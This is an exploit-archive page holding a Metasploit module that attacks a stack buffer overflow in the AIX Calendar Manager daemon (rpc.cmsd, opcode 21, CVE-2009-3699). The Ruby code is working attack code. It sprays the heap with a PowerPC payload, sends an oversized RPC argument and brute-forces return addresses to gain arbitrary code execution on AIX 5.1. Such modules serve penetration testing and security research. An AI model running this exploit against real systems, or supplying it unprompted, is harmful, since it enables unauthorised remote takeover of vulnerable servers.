exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow

AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow
Posted Feb 10, 2010
Authored by Rodrigo Rubira Branco, jduck | Site metasploit.com

This Metasploit module exploits a buffer overflow vulnerability in opcode 21 handled by rpc.cmsd on AIX. By making a request with a long string passed to the first argument of the "rtable_create" RPC, a stack based buffer overflow occurs. This leads to arbitrary code execution.

tags | exploit, overflow, arbitrary, code execution
systems | aix
advisories | CVE-2009-3699
SHA-256 | aff1d1ff1b53822a5be662ef7f7cb50a2f60bbc8bab207ec0fc7df83f3270216

AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow

Change Mirror Download
##
# $Id: rpc_cmsd_opcode21.rb 8426 2010-02-09 04:15:15Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::SunRPC
include Msf::Exploit::Brute

def initialize(info = {})
super(update_info(info,
'Name' => 'AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability in opcode 21 handled by
rpc.cmsd on AIX. By making a request with a long string passed to the first
argument of the "rtable_create" RPC, a stack based buffer overflow occurs. This
leads to arbitrary code execution.
},
'Author' =>
[
'Rodrigo Rubira Branco (BSDaemon)',
'jduck',
],
'Version' => '$Revision: 8426 $',
'References' =>
[
[ 'CVE', '2009-3699' ],
[ 'OSVDB', '58726' ],
[ 'BID', '36615' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=825' ],
[ 'URL', 'http://aix.software.ibm.com/aix/efixes/security/cmsd_advisory.asc' ]
],
'Payload' =>
{
'Space' => 4104,
'BadChars' => "\x00",
# the RPC function splits the string by 0x40, watch out!
'DisableNops' => true
},
'Targets' =>
[
[
'IBM AIX Version 5.1',
{
'Arch' => 'ppc',
'Platform' => 'aix',
'AIX' => '5.1',
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x2022dfc8 },
'Stop' => { 'Ret' => 0x202302c8 },
'Step' => 600
}
}
],
],
'DefaultTarget' => 0))

end

def brute_exploit(brute_target)

if not @aixpayload
datastore['AIX'] = target['AIX']
@aixpayload = regenerate_payload.encoded
end

print_status("Trying to exploit rpc.cmsd with address 0x%x ..." % brute_target['Ret'])

begin
if (not sunrpc_create('udp', 100068, 4))
raise RuntimeError, 'sunrpc_create failed'
end

# spray the heap a bit (work around powerpc cache issues)
buf = make_nops(1024 - @aixpayload.length)
buf << @aixpayload
xdr = XDR.encode(buf, buf)
10.times {
sunrpc_call(7, xdr, 2)
}

#print_status("ATTACH DEBUGGER NOW!"); sleep(5)

buf = rand_text_alphanumeric(payload_space)
buf << [brute_target['Ret']].pack('N')

xdr = XDR.encode(buf, "")
sunrpc_authunix('localhost', 0, 0, [])
sunrpc_call(21, xdr, 1)

handler(sunrpc_callsock)
sunrpc_destroy

rescue Rex::Proto::SunRPC::RPCTimeout
# print_error('RPCTimeout')
rescue EOFError
# print_error('EOFError')
end
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close